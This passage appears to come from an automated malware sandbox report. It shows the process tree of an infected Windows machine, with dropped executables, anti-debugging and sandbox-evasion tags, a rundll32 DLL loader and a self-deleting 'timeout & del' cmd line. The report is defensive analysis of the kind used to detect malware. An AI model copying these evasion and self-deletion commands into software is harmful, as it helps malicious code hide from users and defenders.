C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2088 -s 11644⤵
- Program crash
PID:5816
-
-
-
C:\Users\Admin\Pictures\Adobe Films\7nRws0NZGWjLcr1qIJ1Igckp.exe"C:\Users\Admin\Pictures\Adobe Films\7nRws0NZGWjLcr1qIJ1Igckp.exe"3⤵
- Executes dropped EXE
PID:2232 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\7nRws0NZGWjLcr1qIJ1Igckp.exe" & exit4⤵PID:6548
-
C:\Windows\SysWOW64\timeout.exetimeout /t 55⤵
- Delays execution with timeout.exe
PID:7452
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\zpFE8L30S3ZheXNi_5l2ALWi.exe"C:\Users\Admin\Pictures\Adobe Films\zpFE8L30S3ZheXNi_5l2ALWi.exe"3⤵
- Executes dropped EXE
PID:1296 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1296 -s 8924⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:3912
-
-
-
C:\Users\Admin\Pictures\Adobe Films\QRv0Xx09eP0r7lpAjuMx11pq.exe"C:\Users\Admin\Pictures\Adobe Films\QRv0Xx09eP0r7lpAjuMx11pq.exe"3⤵
- Executes dropped EXE
PID:3596 -
C:\Users\Admin\AppData\Roaming\Underdress.exeC:\Users\Admin\AppData\Roaming\Underdress.exe4⤵PID:4100
-
C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe"C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe"5⤵
- Executes dropped EXE
PID:4744
-
-
-
C:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exeC:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exe4⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
PID:3080 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"5⤵PID:4484
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3080 -s 5565⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
PID:2348
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\mI2vdU7xMU71GNyMSHNLycKr.exe"C:\Users\Admin\Pictures\Adobe Films\mI2vdU7xMU71GNyMSHNLycKr.exe"3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3556
-
-
C:\Users\Admin\Pictures\Adobe Films\A3Rw_r8xR62BWeGihBmsdcHY.exe"C:\Users\Admin\Pictures\Adobe Films\A3Rw_r8xR62BWeGihBmsdcHY.exe"3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3744
-
-
C:\Users\Admin\Pictures\Adobe Films\3W_ChRgsBOU9yBhDHPqm8yDD.exe"C:\Users\Admin\Pictures\Adobe Films\3W_ChRgsBOU9yBhDHPqm8yDD.exe"3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:912
-
-
C:\Users\Admin\Pictures\Adobe Films\RbCJ73zVujImtMJHqjLMBZ0z.exe"C:\Users\Admin\Pictures\Adobe Films\RbCJ73zVujImtMJHqjLMBZ0z.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5068
-
-
-
C:\Windows\SysWOW64\cscript.exe"C:\Windows\SysWOW64\cscript.exe"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4268 -
C:\Windows\SysWOW64\cmd.exe/c del "C:\Users\Admin\Pictures\Adobe Films\mbSorhGxB1pNBjghFG36e2Ru.exe"3⤵PID:4616
-
-
-
C:\Users\Admin\AppData\Local\Temp\2291.exeC:\Users\Admin\AppData\Local\Temp\2291.exe2⤵PID:9424
-
C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe"C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe"3⤵PID:10060
-
-
-
C:\Users\Admin\AppData\Local\Temp\A425.exeC:\Users\Admin\AppData\Local\Temp\A425.exe2⤵PID:7912
-
-
C:\Users\Admin\AppData\Local\Temp\is-7INLQ.tmp\setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-7INLQ.tmp\setup.tmp" /SL5="$7006C,1570064,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe"1⤵PID:4624
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT2⤵PID:6112
-
C:\Users\Admin\AppData\Local\Temp\is-B3219.tmp\setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-B3219.tmp\setup.tmp" /SL5="$3023A,1570064,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT3⤵PID:668
-
C:\Users\Admin\AppData\Local\Temp\is-VS4MN.tmp\postback.exe"C:\Users\Admin\AppData\Local\Temp\is-VS4MN.tmp\postback.exe" ss14⤵PID:2096
-
-
C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe"C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe" /q /norestart4⤵PID:5140
-
C:\79be67d71d75c862052a\Setup.exeC:\79be67d71d75c862052a\\Setup.exe /q /norestart /x86 /x64 /web5⤵PID:6380
-
-
-
C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe"C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe" ss14⤵PID:1608
-
-
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:9208 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:8952
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService1⤵PID:4536
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:9820 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:9908
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵PID:6176
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 9F672BB2AD882941A49D0DA8334E06B9 C2⤵PID:9280
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:9980
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:9768
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:9360
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:8412
-
C:\Windows\system32\WerFault.exe"C:\Windows\system32\WerFault.exe" -k -lc PoW32kWatchdog PoW32kWatchdog-20211108-1628.dm1⤵PID:9128
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:10144 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:10080
-
-
C:\Users\Admin\AppData\Roaming\whhjjetC:\Users\Admin\AppData\Roaming\whhjjet1⤵PID:5976
-
\??\c:\windows\system\svchost.exec:\windows\system\svchost.exe1⤵PID:9368